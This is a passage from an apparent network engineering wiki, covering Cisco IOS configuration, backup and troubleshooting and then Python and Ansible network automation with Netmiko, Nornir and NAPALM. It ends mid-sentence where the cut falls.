15 transport input ssh access-class MGMT-HOSTS in exec-timeout 10 0 logging synchronous ! ntp authentication-key 1 hmac-sha2-256 ntp authenticate ntp trusted-key 1 ntp server 192.0.2.123 key 1 clock timezone AEST 10 0 ! logging host 192.0.2.50 logging trap informational logging buffered 64000 informational logging source-interface Vlan999 ! aaa new-model tacacs server ise-01 address ipv4 192.0.2.60 key aaa group server tacacs+ ISE server name ise-01 aaa authentication login default group ISE local aaa authorization exec default group ISE local if-authenticated aaa accounting commands 15 default start-stop group ISE ``` Enable `aaa new-model` from a session you are sure of, with `reload in 10` running and a second session open: it applies to the VTY lines the moment it is entered, and the `local` fallback only works if a local user already exists. `show aaa servers` and `test aaa group ISE admin new-code` prove the TACACS path before you depend on it. ## Configuration backup The `archive` block from the change-safety section doubles as a local backup, and `path` can point at a remote server so every `write memory` uploads a copy. Log every configuration command while you are at it; `show archive log config all` then answers who changed what. ```text archive path scp://backup@192.0.2.40/cisco/$h-$t write-memory ! archive on every save time-period 1440 ! and daily regardless log config logging enable logging size 500 hidekeys notify syslog contenttype plaintext ``` ```text copy running-config scp://backup@192.0.2.40/cisco/sw-01.cfg ! one-off, prompts for the password copy running-config tftp://192.0.2.40/sw-01.cfg ! plaintext transport; lab or isolated management network only copy running-config flash:pre-change.cfg ! local copy before a change; flash survives a reload show archive show archive log config all show archive config differences flash:archive/sw-01-3 system:running-config configure replace flash:archive/sw-01-3 list ! restore a backup, printing each command ``` Prefer pulling from a collector over pushing from the device: a script that runs `show running-config` over SSH on a schedule and commits the result to Git gives history, diffs and review for free, and does not need credentials for the backup server on every switch. See [Network automation](https://www.wiki.jodisand.me/netauto/#configuration-diff-and-rollback) for the scripted form, and the `backup` option of the Ansible `cisco.ios.ios_config` module. Whichever way, back up before every change, restore into a lab or a spare device occasionally to prove the copies are usable, and treat the files as secrets: they contain type 7 passwords, SNMP communities and keys. ## Interfaces Routed port on a Layer 3 switch: ```text configure terminal interface GigabitEthernet1/0/1 description uplink to core-01 no switchport ip address 198.51.100.2 255.255.255.252 no shutdown end ``` Access port: ```text interface GigabitEthernet1/0/2 switchport mode access switchport access vlan 20 spanning-tree portfast spanning-tree bpduguard enable ``` `portfast` skips the listening and learning delay, which is only safe where no switch will ever connect. `bpduguard` err-disables the port if a BPDU arrives, which catches the case where someone plugs a switch in anyway. Trunk port: ```text interface GigabitEthernet1/0/24 switchport mode trunk switchport nonegotiate switchport trunk allowed vlan 10,20,30 switchport trunk native vlan 999 ``` `nonegotiate` turns off DTP so the port cannot be talked into or out of trunking. An unused native VLAN keeps untagged frames out of production VLANs. > [!CAUTION] > `switchport trunk allowed vlan 40` **replaces** the list. To add a VLAN use `switchport trunk allowed vlan add 40`. Forgetting `add` on an uplink drops every other VLAN. ```text show interfaces status show interfaces Gi1/0/1 | include errors|drops|duplex|rate show interfaces counters errors show interfaces status err-disabled clear counters GigabitEthernet1/0/1 ``` | Counter | Meaning | | --- | --- | | `input errors` / `CRC` | Physical layer: cable, optic, dirty fibre, or duplex mismatch | | `late collisions` | Duplex mismatch, almost always | | `output drops` | Egress congestion: more traffic is queued for the interface than it can send | | `input queue drops` | The CPU is not keeping up with traffic punted to it | | `interface resets` | Link flapping or keepalive failures; check the far end and the optic | Counters accumulate since boot or the last `clear counters`. Clear them, wait, and read them again to see whether errors are still increasing. An err-disabled port stays down until `shutdown` then `no shutdown`, or until `errdisable recovery cause ` re-enables it automatically. `show interfaces status err-disabled` names the cause (for example `bpduguard` or `psecure-violation`). ## VLANs and spanning tree ```text vlan 20 name servers exit interface Vlan20 ip address 192.0.2.1 255.255.255.0 no shutdown ``` An SVI (`interface Vlan20`) comes up only when the VLAN exists and at least one port in it, or a trunk carrying it, is up. ```text show vlan brief show spanning-tree vlan 20 show spanning-tree root show spanning-tree inconsistentports spanning-tree vlan 20 root primary ``` Set the root bridge explicitly. Without it the switch with the lowest MAC address wins, often the oldest one, and a re-election triggers topology changes that flush MAC tables across the VLAN. `show interfaces trunk` shows which VLANs actually forward on a trunk, which can differ from the allowed list once spanning tree blocking and VTP pruning apply. ## Routing Static routes: ```text ip route 203.0.113.0 255.255.255.0 198.51.100.1 name to-dc2 show ip route static show ip route 203.0.113.20 ``` `show ip route
` shows the entry that wins by longest prefix match, which is the one that matters when two routes overlap. OSPF: ```text key chain OSPF-KEYS key 1 key-string cryptographic-algorithm hmac-sha-256 ! router ospf 1 router-id 198.51.100.2 passive-interface default no passive-interface GigabitEthernet1/0/1 network 198.51.100.0 0.0.0.3 area 0 ! interface GigabitEthernet1/0/1 ip ospf authentication key-chain OSPF-KEYS ``` `passive-interface default` stops hellos on every interface except the ones you name, so OSPF only forms adjacencies where intended. Key-chain authentication with HMAC-SHA is configured per interface on IOS XE; see [OSPFv2 cryptographic authentication](https://www.cisco.com/c/en/us/td/docs/routers/ios/config/17-x/ip-routing/b-ip-routing/m_iro-ospfv2-crypto-authen.html). ```text show ip ospf neighbor show ip ospf interface brief show ip ospf database ``` | Neighbour state | Meaning | | --- | --- | | `DOWN` | No hellos received | | `INIT` | Hellos received, but they do not list this router yet (one-way) | | `2WAY` | Bidirectional. Normal final state between two DROTHERs on a broadcast segment | | `EXSTART`/`EXCHANGE` | Database exchange. Stuck here usually means an MTU mismatch | | `LOADING` | Requesting LSAs it is missing | | `FULL` | Adjacency complete | No neighbour at all usually means mismatched hello/dead timers, area, subnet, authentication, or a passive interface. BGP: ```text router bgp 65001 bgp log-neighbor-changes neighbor 203.0.113.1 remote-as 64511 neighbor 203.0.113.1 password address-family ipv4 network 192.0.2.0 mask 255.255.255.0 neighbor 203.0.113.1 activate neighbor 203.0.113.1 prefix-list TO-PEER out neighbor 203.0.113.1 maximum-prefix 1000 90 restart 15 ``` `network` only advertises a prefix that exists in the routing table with exactly that mask; add a static route to `Null0` for an aggregate. `maximum-prefix 1000 90 restart 15` warns at 90 % and tears the session down above 1000 prefixes, retrying after 15 minutes. An outbound prefix list plus an inbound maximum-prefix on every external peer stops a local mistake from leaking routes to the internet. ```text show ip bgp summary show ip bgp neighbors 203.0.113.1 advertised-routes show ip bgp neighbors 203.0.113.1 routes show ip bgp 192.0.2.0/24 clear ip bgp 203.0.113.1 soft in ``` `show bgp ipv4 unicast ...` is the address-family-aware form of the same commands. `clear ip bgp ... soft` re-applies policy without resetting the session; a hard `clear ip bgp ` drops it and withdraws its routes. ## ACLs ```text ip access-list extended MGMT-IN permit tcp 192.0.2.0 0.0.0.255 any eq 22 permit icmp any any echo-reply deny ip any any log ! interface GigabitEthernet1/0/1 ip access-group MGMT-IN in ``` ```text show access-lists MGMT-IN show ip interface Gi1/0/1 | include access list ``` Entries are evaluated top down and the first match wins. Wildcard masks are inverted subnet masks: `0.0.0.255` matches a /24. Every ACL ends with an implicit `deny ip any any` that does not log or count, so add an explicit one to see hit counts. To restrict SSH to the device itself, apply a standard or extended ACL to the VTY lines with `access-class` rather than to an interface. > [!WARNING] An ACL on your management path ends your session > Add the permit for your own source first, schedule `reload in 10`, apply the ACL, verify from a second session, then `reload cancel`. ## Recovery and change safety Scheduled reload: if the change cuts you off, the device reboots into the saved `startup-config`. Do not save until you have verified. ```text reload in 10 ! make the change, then verify from a new session reload cancel ``` The reload drops all traffic for the reboot time, so on production gear prefer a confirmed change, which reverts only the configuration. It needs a configuration archive: ```text archive path flash:archive/$h- write-memory maximum 14 ``` ```text configure replace flash:intended.cfg time 5 ! verify from a new session within 5 minutes configure confirm ``` `configure replace ... time 5` swaps in the whole file and reverts automatically unless `configure confirm` arrives in time. `configure revert now` rolls back immediately and `configure revert timer 15` resets the timer to 15 minutes. See [Configuration Rollback Confirmed Change](https://www.cisco.com/c/en/us/td/docs/routers/ios/config/17-x/syst-mgmt/b-system-management/m_cm-config-rollback-confirmed-change.html). For line-by-line edits, `configure terminal revert timer 5` starts a revertible session that is confirmed the same way. > [!NOTE] Unverified > Cisco's feature history lists `configure terminal` as modified by this feature, but the `revert timer` syntax was not confirmed on a current command reference page. Test it on a lab device first. ```text show archive show archive config differences nvram:startup-config system:running-config configure replace nvram:startup-config list ! roll running config back to the saved one, printing each command ``` Password recovery needs console access and a reload into ROMMON to bypass the startup config. Arrange console or out-of-band access before changing AAA or management ACLs. ## Troubleshooting ```text ping 203.0.113.7 source Vlan20 repeat 100 size 1400 df-bit traceroute 203.0.113.7 source Vlan20 show ip arp 203.0.113.7 show mac address-table address 0011.2233.4455 show processes cpu history ``` `ping ... size 1400 df-bit` finds MTU problems: if smaller sizes pass and this fails, something on the path has a lower MTU. | Symptom | Where to look | | --- | --- | | Intermittent loss on one port | `show interfaces` counters: CRC, late collisions, resets | | Port down, will not come up | `show interfaces status err-disabled`, then the far end and optic | | Works locally, fails across a trunk | `show interfaces trunk`: allowed, forwarding and pruned VLANs | | Hosts in the same VLAN cannot reach each other | Port security, private VLAN, protected port, or wrong access VLAN | | Traffic takes an unexpected path | `show ip route `, then routing protocol metrics and administrative distance | | High CPU | `show processes cpu sorted`; traffic punted to the CPU (ARP storms, TTL expiry, logging ACLs) is a common cause | | OSPF stuck in `EXSTART` | Interface MTU differs between neighbours | | BGP stuck in `Active` or `Idle` | TCP 179 not reachable, wrong `remote-as`, wrong source address, or MD5 password mismatch (the log shows it) | | Neighbour flapping | Physical layer first, then MTU, timers and authentication | | Port-channel member `s` (suspended) or `I` (individual) | Mismatched trunk/VLAN/speed settings, or the far end is not running LACP; `show etherchannel summary`, `show lacp neighbor` | | Both HSRP routers `Active` | They cannot see each other's hellos: VLAN not carried on the trunk between them, or an ACL blocking 224.0.0.102 (v2) / 224.0.0.2 (v1) | | Hosts lose the gateway after a failover | Preempt without a delay, or the standby has no working uplink; `show standby brief`, `show track brief` | | Port err-disabled with `psecure-violation` | More MACs than `maximum`, often a hub, phone or VM host; `show port-security interface` | | Logs show `%SYS-5-CONFIG_I` from an unknown source | Someone (or an automation account) changed config; `show archive log config all`, `show users` | | `show ntp status` says `unsynchronized` | Server unreachable, authentication mismatch, or stratum 16; `show ntp associations` (`*` marks the selected peer) | | Locked out after `aaa new-model` | No local user or the server group is unreachable; console in, or wait for `reload in` | | `show ip cef` shows a different next hop from `show ip route` | Recursive route unresolved or adjacency incomplete; `show ip cef detail`, `show adjacency` | | Optic shows RX power below the threshold | Dirty or damaged fibre, wrong optic type for the distance; `show interfaces transceiver detail` | | PoE device does not power on | Budget exhausted or port limited; `show power inline`, `show power inline Gi1/0/5 detail` | `debug` output goes to the CPU and the log. On a busy device it can overwhelm the control plane. ```text access-list 100 permit ip host 192.0.2.10 host 203.0.113.7 debug ip packet 100 detail undebug all ``` > [!WARNING] > Never run `debug ip packet` without an ACL on a production device. It shows only packets handled by the CPU (process switched), not CEF-switched transit traffic, so an empty result does not prove traffic is absent. Have `undebug all` ready before you start. Prefer `show` counters when they answer the question. ## Oneliners ```text ! Interfaces with protocol down, excluding admin down show ip interface brief | exclude up|administratively ! Ports with errors show interfaces counters errors ! Which port a MAC is on, then what that port is show mac address-table address 0011.2233.4455 show interfaces Gi1/0/7 status ! Configuration differences since the last save show archive config differences nvram:startup-config system:running-config ! Uptime, image and last reload reason show version | include uptime|System image|Last reload ! Prefixes received from each BGP peer (PfxRcd column) show ip bgp summary ! CPU-heavy processes right now show processes cpu sorted | exclude 0.00% ! Log entries from a point in time show logging | begin Sep 15 09: ! Confirm an ACL is matching show ip access-lists MGMT-IN | include matches ! Count configured interfaces show running-config | count ^interface ! Ports that are up but have no description (undocumented ports) show interfaces description | include ^Gi.*up +up *$ ! Ports that have been down for a long time (candidates to reclaim) show interfaces | include line protocol is down|Last input ! Trunks and the VLANs actually forwarding on each show interfaces trunk | begin forwarding ! Every VLAN's SVI state show ip interface brief | include Vlan ! Port-channels with a member that is not bundled show etherchannel summary | include \(SU\)|\(SD\)|\(s\)|\(I\)|\(D\) ! Top MAC counts per VLAN (a VLAN with thousands is a candidate for a loop or a flat network) show mac address-table count ! Spanning-tree root for every VLAN and whether this switch is it show spanning-tree root ! Ports currently blocking or in a transitional STP state show spanning-tree | include BLK|LRN|LIS ! Recent topology changes and where the last one came from show spanning-tree detail | include ieee|occurr|from|is exec ! OSPF neighbours that are not FULL (2WAY on a DR segment is fine) show ip ospf neighbor | exclude FULL ! BGP peers not Established (State/PfxRcd column shows a word, not a number) show ip bgp summary | include Idle|Active|Connect|OpenSent ! Routes learned from a BGP peer, count only show ip bgp neighbors 203.0.113.1 routes | include Total ! Routes by source (connected, static, OSPF, BGP) show ip route summary ! Default route and where it comes from show ip route 0.0.0.0 ! ARP entries for a subnet, to find who is live show ip arp 192.0.2.0 255.255.255.0 ! Which switch port an IP address is on: ARP for the MAC, then the MAC table show ip arp 192.0.2.10 show mac address-table address 0011.2233.4455 ! DHCP snooping bindings on an access switch (IP to port map without a scan) show ip dhcp snooping binding ! Interface with the most output drops show interfaces | include ^[A-Z].*is up|Total output drops ! Half-duplex or 10/100 ports on a gigabit switch (cabling or negotiation problems) show interfaces status | include a-half|a-100|a-10 |10 |100 ! Config lines that will be a problem: telnet, http, plaintext SNMP communities show running-config | include transport input|ip http|snmp-server community ! Unsaved changes: a non-empty diff means "write memory" is pending show archive config differences nvram:startup-config system:running-config ! What changed in the last archive interval, with the user show archive log config all | tail 20 ! Type 7 passwords still present (weak encoding; migrate to secret) show running-config | include password 7 ! Free flash before an image copy dir flash: | include bytes free ! NTP status in one line show ntp status | include synchronized|stratum ! Environment alarms only show environment all | include FAULT|Alarm|NOT PRESENT|Critical ! Reload reason and uptime for a stack of switches show version | include uptime|Last reload|System image ! IOS XE: install-mode packages and whether a reload is pending show install summary | include IMG|SMU ! Save and archive in one line write memory ``` ## Scripts Back up every device's running configuration over SSH into a Git repository and commit only when something changed, so history is a diff per device per change. ```sh #!/usr/bin/env bash # ios-backup.sh HOSTS_FILE REPO_DIR: pull running-config from each device and commit changes # Uses public-key SSH; the device needs "ip ssh pubkey-chain" configured for the backup user. set -euo pipefail hosts=$1; repo=$2 cd "$repo" failed=0 while read -r host; do [ -n "$host" ] && [ "${host#\#}" = "$host" ] || continue if ! ssh -o BatchMode=yes -o ConnectTimeout=10 -o StrictHostKeyChecking=accept-new "$host" 'terminal length 0 show running-config' 2>/dev/null \ | sed -E '/^(Building configuration|Current configuration|! Last configuration change|! NVRAM config last updated|ntp clock-period)/d' > "$host.cfg.tmp"; then echo "FAILED $host" >&2; rm -f "$host.cfg.tmp"; failed=$((failed + 1)); continue fi grep -q '^hostname ' "$host.cfg.tmp" || { echo "FAILED $host: no hostname line, output incomplete" >&2; rm -f "$host.cfg.tmp"; failed=$((failed + 1)); continue; } mv "$host.cfg.tmp" "$host.cfg" done < "$hosts" git add -- '*.cfg' if git diff --cached --quiet; then echo "no changes"; else git diff --cached --stat git commit -qm "Config backup $(date -u +%FT%TZ)" && echo "committed" fi exit $(( failed > 0 )) ``` Poll interface error counters across a fleet twice, a minute apart, and report only the interfaces whose CRC, input error or output drop counters increased, which separates live faults from historical noise. ```python #!/usr/bin/env python3 """Report interfaces with increasing error counters. Usage: iface-errors.py hosts.txt [interval_seconds] Credentials from NET_USER, NET_PASS (and NET_ENABLE if enable is needed). """ import os import sys import time from concurrent.futures import ThreadPoolExecutor from netmiko import ConnectHandler hosts = [h.strip() for h in open(sys.argv[1]) if h.strip() and not h.startswith("#")] interval = int(sys.argv[2]) if len(sys.argv) > 2 else 60 WATCH = ("input_errors", "crc", "output_errors", "interface_resets") # field names from the ntc-templates "show interfaces" template def snapshot(host): dev = {"device_type": "cisco_ios", "host": host, "username": os.environ["NET_USER"], "password": os.environ["NET_PASS"], "secret": os.environ.get("NET_ENABLE", ""), "conn_timeout": 10} with ConnectHandler(**dev) as c: if dev["secret"]: c.enable() rows = c.send_command("show interfaces", use_textfsm=True) if not isinstance(rows, list): raise RuntimeError("no TextFSM template match") return {r["interface"]: {k: int(r.get(k) or 0) for k in WATCH} for r in rows} def collect(): out, errors = {}, {} with ThreadPoolExecutor(max_workers=10) as pool: for host, res in zip(hosts, pool.map(lambda h: _safe(snapshot, h), hosts)): (errors if isinstance(res, Exception) else out)[host] = res return out, errors def _safe(fn, arg): try: return fn(arg) except Exception as exc: # report per host rather than abort the sweep return exc first, err1 = collect() time.sleep(interval) second, err2 = collect() for host, exc in {**err1, **err2}.items(): print(f"{host}: ERROR {exc}", file=sys.stderr) found = False for host in sorted(set(first) & set(second)): for iface, before in first[host].items(): after = second[host].get(iface) if not after: continue delta = {k: after[k] - before[k] for k in WATCH if after[k] > before[k]} if delta: found = True print(f"{host}\t{iface}\t" + " ".join(f"{k}+{v}" for k, v in delta.items())) if not found: print(f"no counters increased in {interval}s across {len(second)} devices") ``` ## Further reading - [Cisco IOS XE configuration guides](https://www.cisco.com/c/en/us/support/ios-nx-os-software/ios-xe-17/products-installation-and-configuration-guides-list.html) - [Cisco IOS XE command references](https://www.cisco.com/c/en/us/support/ios-nx-os-software/ios-xe-17/products-command-reference-list.html) - [Configuration Rollback Confirmed Change](https://www.cisco.com/c/en/us/td/docs/routers/ios/config/17-x/syst-mgmt/b-system-management/m_cm-config-rollback-confirmed-change.html) - [Cisco Guide to Harden Cisco IOS Devices](https://www.cisco.com/c/en/us/support/docs/ip/access-lists/13608-21.html) For scripting any of this across many devices, see [Network automation](https://www.wiki.jodisand.me/netauto/). --- # Network automation > Collect device state, parse CLI output into data and push configuration changes safely with Netmiko, NAPALM, Nornir and Ansible. Canonical: https://www.wiki.jodisand.me/netauto/ Reviewed: 2026-09-24 Related: [Cisco IOS](https://www.wiki.jodisand.me/cisco/index.md), [Ansible](https://www.wiki.jodisand.me/ansible/index.md), [Python](https://www.wiki.jodisand.me/python/index.md), [SSH](https://www.wiki.jodisand.me/ssh/index.md) ## Cheatsheet | Task | Tool or snippet | | --- | --- | | SSH to one device, run a command | `ConnectHandler(**dev).send_command("show ip interface brief")` (Netmiko) | | Same, parsed into a list of dicts | `send_command(cmd, use_textfsm=True)` | | Command with an interactive prompt | `send_command(cmd, expect_string=r"confirm")` | | Slow command | `send_command(cmd, read_timeout=120)` | | Sync or asyncio SSH with a smaller footprint | scrapli (`Scrapli`, `AsyncScrapli`) | | Vendor-neutral getters and config replace/merge | `napalm.get_network_driver("ios")` | | Many devices from an inventory, threaded | Nornir with `nornir_netmiko` or `nornir_napalm` | | Declarative, idempotent changes with check mode | Ansible `cisco.ios.*` modules over `network_cli` | | Parse CLI text offline | `ntc_templates.parse.parse_output` (TextFSM) | | Structured data from the device | NETCONF, RESTCONF, gNMI; `\| json` on NX-OS | | Diff before apply | NAPALM `compare_config()`; Ansible `--check --diff` | | Confirmed commit | NAPALM `commit_config(revert_in=300)` then `confirm_commit()` | | Bulk reachability | `fping -a -g 192.0.2.0/24` | ## Choosing the interface | Interface | When | | --- | --- | | SSH and CLI scraping (Netmiko, scrapli) | Always available. The fallback when nothing structured exists | | NETCONF / RESTCONF (YANG models) | Structured config and state; candidate datastore and validate-then-commit where the platform supports it | | gNMI | Streaming telemetry and config on current platforms | | Vendor or controller REST API | Controller-managed fabrics (ACI, Meraki, Catalyst Center) where the controller owns the config | Prefer a structured interface when the platform has one. CLI output is text for humans, its format changes between software releases, and every parser is a maintenance item. Screen scraping works by sending a command, reading until the prompt pattern reappears and returning the text in between; most failures come from that prompt detection. ## Connecting and collecting with Netmiko Netmiko (4.x) wraps Paramiko SSH with per-platform prompt handling. On connect it runs the platform's session preparation, which for IOS includes `terminal length 0`, so you do not disable paging yourself. ```python import os from netmiko import ConnectHandler device = { "device_type": "cisco_ios", # cisco_xe is an alias; cisco_nxos, arista_eos, juniper_junos... "host": "sw-01.example.com", "username": os.environ["NET_USER"], "password": os.environ["NET_PASS"], "secret": os.environ.get("NET_ENABLE", ""), "conn_timeout": 10, # TCP connect timeout, seconds } with ConnectHandler(**device) as conn: conn.enable() # needs "secret" if not already privileged raw = conn.send_command("show ip interface brief") # str rows = conn.send_command("show ip interface brief", use_textfsm=True) # list[dict], or str if no template matched ``` `send_command` waits until it sees the prompt or `expect_string`, up to `read_timeout` seconds (default 10), then raises `ReadTimeout`. `delay_factor` and `max_loops` from Netmiko 3 are deprecated. `send_command_timing` instead returns when output stops arriving, which suits commands whose prompt is unpredictable but can return early on slow devices. ```python out = conn.send_command("copy running-config startup-config", expect_string=r"\[startup-config\]\?") out += conn.send_command("\n", expect_string=r"#") ``` More of the Netmiko surface that comes up in real jobs: ```python conn.send_config_from_file("acl.cfg") # config mode, one line at a time, exits conn.send_config_set(cmds, cmd_verify=False) # faster on slow devices; skips echo checks, so errors are not caught conn.send_multiline(["copy tftp: flash:", "192.0.2.40", "c9300.bin", "\n"]) # answer a chain of prompts conn.send_command("show run", use_genie=True) # pyATS/Genie parser instead of TextFSM (pip install pyats genie) conn.send_command("show ip route", use_ttp=True, ttp_template="route.ttp") # TTP templates conn.write_channel("show version\n"); time.sleep(1); conn.read_channel() # raw, for pathological prompts conn.find_prompt() # current prompt; changes when hostname changes conn.disconnect() from netmiko import file_transfer file_transfer(conn, source_file="c9300-universalk9.17.12.04.SPA.bin", dest_file="c9300.bin", file_system="flash:", direction="put", overwrite_file=False) # SCP; needs ip scp server enable from netmiko import SSHDetect guesser = SSHDetect(**{**device, "device_type": "autodetect"}) device["device_type"] = guesser.autodetect() # cisco_ios, cisco_nxos, arista_eos... # Connect through a jump host with an SSH config file device["ssh_config_file"] = "~/.ssh/config" # ProxyJump and per-host keys honoured ``` `send_config_set` returns the echoed output, so scan it for `% Invalid input` or `% Incomplete command` and fail the job: IOS does not raise on a bad line, it prints and moves on. ## Many devices with Nornir Nornir 3 is a Python framework that provides inventory, filtering and a threaded runner. Tasks are plain Python functions, so ordinary debugging works. ```yaml # config.yaml inventory: plugin: SimpleInventory options: host_file: inventory/hosts.yaml group_file: inventory/groups.yaml runner: plugin: threaded options: num_workers: 10 ``` ```python from nornir import InitNornir from nornir_netmiko.tasks import netmiko_send_command from nornir_utils.plugins.functions import print_result nr = InitNornir(config_file="config.yaml") result = nr.filter(site="syd").run( task=netmiko_send_command, command_string="show version", use_textfsm=True ) print_result(result) print(result.failed_hosts) # dict of host -> MultiResult for hosts that raised ``` A failure on one host does not stop the others. Check `result.failed` or `failed_hosts` rather than assuming success. ```yaml # inventory/hosts.yaml sw-01.example.com: hostname: sw-01.example.com platform: ios groups: [syd-access] data: { site: syd, role: access } # inventory/groups.yaml syd-access: groups: [ios] ios: platform: ios connection_options: netmiko: { extras: { secret: "" } } # per-plugin options; credentials come from defaults.yaml or env ``` ```python from nornir.core.filter import F from nornir_napalm.plugins.tasks import napalm_get, napalm_configure from nornir_utils.plugins.tasks.files import write_file core = nr.filter(F(site="syd") & F(role="core") & ~F(platform="nxos")) # boolean filters on host data facts = core.run(task=napalm_get, getters=["facts", "interfaces_ip"]) for host, multi in facts.items(): print(host, multi[0].result["facts"]["os_version"]) def backup(task): # a task that calls other tasks cfg = task.run(task=napalm_get, getters=["config"]).result["config"]["running"] task.run(task=write_file, filename=f"backups/{task.host}.cfg", content=cfg) core.run(task=backup) r = core.run(task=napalm_configure, configuration="ntp server 192.0.2.123", dry_run=True) # diff only print({h: res[0].diff for h, res in r.items()}) ``` Every task result carries `.result`, `.diff`, `.changed`, `.failed` and `.exception`. `nr.data.reset_failed_hosts()` clears the failed set so a retry run includes them; without it Nornir skips hosts that failed earlier in the same process. ## Vendor-neutral state with NAPALM NAPALM gives the same getters and config methods across drivers (`ios`, `eos`, `junos`, `nxos`, `nxos_ssh`, `iosxr_netconf`). The `ios` driver uses Netmiko underneath and returns data parsed by NAPALM. ```python import os from napalm import get_network_driver driver = get_network_driver("ios") with driver("sw-01.example.com", os.environ["NET_USER"], os.environ["NET_PASS"]) as dev: facts = dev.get_facts() interfaces = dev.get_interfaces() neighbours = dev.get_lldp_neighbors() arp = dev.get_arp_table() bgp = dev.get_bgp_neighbors() # {"global": {"peers": {ip: {"is_up": ..., "address_family": {...}}}}} env = dev.get_environment() # fans, power, temperature, cpu, memory counters = dev.get_interfaces_counters() # tx/rx errors and discards per interface running = dev.get_config(retrieve="running", sanitized=True)["running"] # secrets masked out = dev.cli(["show ip route summary", "show clock"]) # {command: output} for anything without a getter ok = dev.ping("192.0.2.1", source="192.0.2.2", count=5)["success"]["packet_loss"] == 0 ``` NAPALM also validates state against a YAML file, which turns "did the change work" into a pass/fail report: ```yaml # validate.yml - get_facts: os_version: "17.12" # substring match - get_bgp_neighbors: global: peers: 203.0.113.1: is_up: true address_family: ipv4: received_prefixes: { _mode: ">=", value: 10 } # comparison operators on numbers - get_interfaces: GigabitEthernet1/0/1: is_up: true is_enabled: true ``` ```python report = dev.compliance_report("validate.yml") print(report["complies"], {k: v for k, v in report.items() if isinstance(v, dict) and not v.get("complies", True)}) ``` ## Parsing CLI output ```python from ntc_templates.parse import parse_output rows = parse_output(platform="cisco_ios", command="show ip interface brief", data=raw) # [{'interface': 'GigabitEthernet1/0/1', 'ip_address': '198.51.100.2', 'status': 'up', 'proto': 'up'}, ...] ``` ntc-templates selects a TextFSM template by platform and command. Field names were standardised in ntc-templates 4.0 (for example `ipaddr` became `ip_address`), so code written against older releases may look up keys that no longer exist. When no template exists, write one rather than an ad hoc regex. A TextFSM template is a state machine: `Value` lines declare fields, rules match lines and `Record` emits a row. A line that matches no rule is ignored, so an unexpected format produces missing rows rather than wrong values. ```text Value INTERFACE (\S+) Value IP_ADDRESS (\S+) Value STATUS (up|down|administratively down|deleted) Value PROTO (up|down) Start ^${INTERFACE}\s+${IP_ADDRESS}\s+\w+\s+\w+\s+${STATUS}\s+${PROTO} -> Record ``` Where the device can produce structured output, ask it instead. NX-OS supports `| json`; IOS XE does not, so use RESTCONF or NETCONF there. ```python import json data = json.loads(conn.send_command("show ip route | json")) # NX-OS ``` ## Configuration changes Diff every change before it is applied, and know how you will back it out. ### NAPALM: load, diff, commit ```python with driver("sw-01.example.com", user, password) as dev: dev.load_merge_candidate(filename="vlan.cfg") diff = dev.compare_config() if diff and approved(diff): dev.commit_config(revert_in=300) # confirmed commit: reverts in 5 minutes unless confirmed verify(dev) # your own post-change checks dev.confirm_commit() else: dev.discard_config() ``` | Capability | EOS | Junos | IOS | NX-OS | IOS XR (NETCONF) | | --- | --- | --- | --- | --- | --- | | Replace and merge | Yes | Yes | Yes | Yes | Yes | | Commit confirm (`revert_in`) | Yes | Yes | Yes | No | No | | Atomic merge (all or nothing) | Yes | Yes | No | No | Yes | The IOS driver copies the candidate file to the device with SCP and applies it with `configure replace` or a merge, so it needs `ip scp server enable` and an `archive` path on local flash for rollback. See the [NAPALM IOS notes](https://napalm.readthedocs.io/en/latest/support/ios.html) and [support matrix](https://napalm.readthedocs.io/en/latest/support/). ### Netmiko: send commands ```python with ConnectHandler(**device) as conn: conn.enable() out = conn.send_config_set([ "interface GigabitEthernet1/0/2", "description uplink to core", "switchport mode trunk", ]) conn.save_config() # write memory; without it the change is lost on reload ``` `send_config_set` enters config mode, sends each line and exits. It does not diff, check idempotence or roll back, so pair it with a before/after capture. ### Ansible: declarative with check mode Ansible network modules run on the control node and talk to the device over the `network_cli` connection. See [Ansible](https://www.wiki.jodisand.me/ansible/) for playbook basics. ```yaml # group_vars/ios.yml ansible_connection: ansible.netcommon.network_cli ansible_network_os: cisco.ios.ios ansible_become: true ansible_become_method: enable ``` ```yaml - name: Configure access VLANs hosts: ios gather_facts: false tasks: - name: Ensure VLANs exist cisco.ios.ios_vlans: config: - vlan_id: 20 name: servers state: merged - name: Set uplink description cisco.ios.ios_config: parents: interface GigabitEthernet1/0/24 lines: - description uplink to core backup: true save_when: modified ``` ```sh ansible-playbook vlans.yml --check --diff --limit sw-01 # show what would change, change nothing ``` Resource modules such as `ios_vlans` and `ios_interfaces` take structured data and a `state`: `merged` adds, `replaced` rewrites the listed items, `overridden` rewrites and removes anything not listed, `deleted` removes, and `gathered` reads current state back as data. Two more states run without a device: `rendered` turns the data into the commands it would send, and `parsed` turns saved `show running-config` output into the module's data model, which is how you bootstrap a source of truth from an existing network. ```yaml - name: Facts, commands and resource modules hosts: ios gather_facts: false tasks: - name: Collect structured facts and the running config cisco.ios.ios_facts: gather_subset: [min, config] gather_network_resources: [interfaces, l2_interfaces, vlans] # resource-module data models register: facts - name: Show commands, waiting for a condition cisco.ios.ios_command: commands: - show ip ospf neighbor - show ip bgp summary wait_for: - result[0] contains FULL # retry until true or fail retries: 6 interval: 10 register: show - name: Interfaces as data, overriding what is there cisco.ios.ios_l2_interfaces: config: - name: GigabitEthernet1/0/2 mode: access access: { vlan: 20 } - name: GigabitEthernet1/0/24 mode: trunk trunk: { allowed_vlans: [10, 20, 30], native_vlan: 999 } state: replaced # only the listed interfaces are rewritten - name: What commands would the data become (no device contact) cisco.ios.ios_vlans: config: [{ vlan_id: 20, name: servers }] state: rendered register: rendered - name: Reach into a saved config and produce data cisco.ios.ios_interfaces: running_config: "{{ lookup('file', 'backups/sw-01.cfg') }}" state: parsed register: parsed - name: Free-form lines with a diff against the intended config cisco.ios.ios_config: src: templates/baseline.j2 # Jinja template rendered on the control node diff_against: intended intended_config: "{{ lookup('template', 'templates/baseline.j2') }}" diff_ignore_lines: ['^ntp clock-period', '^! Last configuration'] backup: true backup_options: { dir_path: backups/, filename: "{{ inventory_hostname }}.cfg" } save_when: modified ``` `ios_command` never enters config mode and is the right module for read-only checks. `ios_config` `match: line` (default) sends only lines that differ; `match: exact` sends when the block differs in order too, and `match: none` sends everything regardless, which is what you want with `before: [no ip access-list extended MGMT-IN]` to rebuild an ACL atomically. Connection settings that matter: `ansible_command_timeout` (default 30 s, raise for `show tech` or long commits) and `ansible_persistent_connect_timeout`; the persistent connection is reused across tasks in a play, so a hostname change mid-play breaks prompt detection for every later task. `ansible.netcommon.cli_backup` (`cli_backup` in the netcommon collection) is the 